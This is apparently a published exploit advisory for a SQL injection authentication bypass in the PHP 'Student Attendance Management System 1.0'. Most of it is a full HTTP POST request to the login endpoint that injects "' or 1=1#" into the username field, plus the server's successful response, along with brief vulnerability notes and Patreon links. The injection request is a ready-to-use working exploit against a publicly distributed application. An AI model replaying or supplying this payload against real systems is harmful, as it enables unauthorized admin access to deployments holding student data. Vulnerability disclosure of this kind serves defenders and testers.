Student Attendance Management System 1.0 SQL Injection

## Titles: Student Attendance Management System-1.0 Bypass AuthenticationSQLi## Author: nu11secur1ty## Date: 06/22/2024## Vendor: https://github.com/oretnom23## Software:https://www.sourcecodester.com/php/14561/student-attendance-management-system-using-phpmysqli-source-code.html## Reference: https://portswigger.net/web-security/sql-injection## Description:The username parameter is not sanitizing well, the attacker can injectdirect queries into the login form and easily bypass the authentication ofthe admin account.STATUS: CRITICAL- Vulnerability[+]Exploits:- Exploit:```POSTPOST /student_attendance/ajax.php?action=login HTTP/1.1Host: pwnedhost.comCookie: PHPSESSID=2otv2s74md44qhb7do890mhhp4Content-Length: 104Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"Accept-Language: en-USSec-Ch-Ua-Mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Accept: */*X-Requested-With: XMLHttpRequestSec-Ch-Ua-Platform: "Windows"Origin: https://pwnedhost.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://pwnedhost.com/student_attendance/login.phpAccept-Encoding: gzip, deflate, brPriority: u=1, iConnection: keep-aliveusername=nu11secur1ty'+or+1%3D1%23&password=stupiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiid```[+]Response```HTTPHTTP/1.1 200 OKDate: Sat, 22 Jun 2024 06:37:41 GMTServer: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.2.4X-Powered-By: PHP/8.2.4Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheContent-Length: 1Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=UTF-81```## Reproduce:[href](https://www.patreon.com/posts/student-system-1-106665723)## Proof and Exploit:[href](https://www.patreon.com/posts/student-system-1-106665723)## Time spent:01:25:00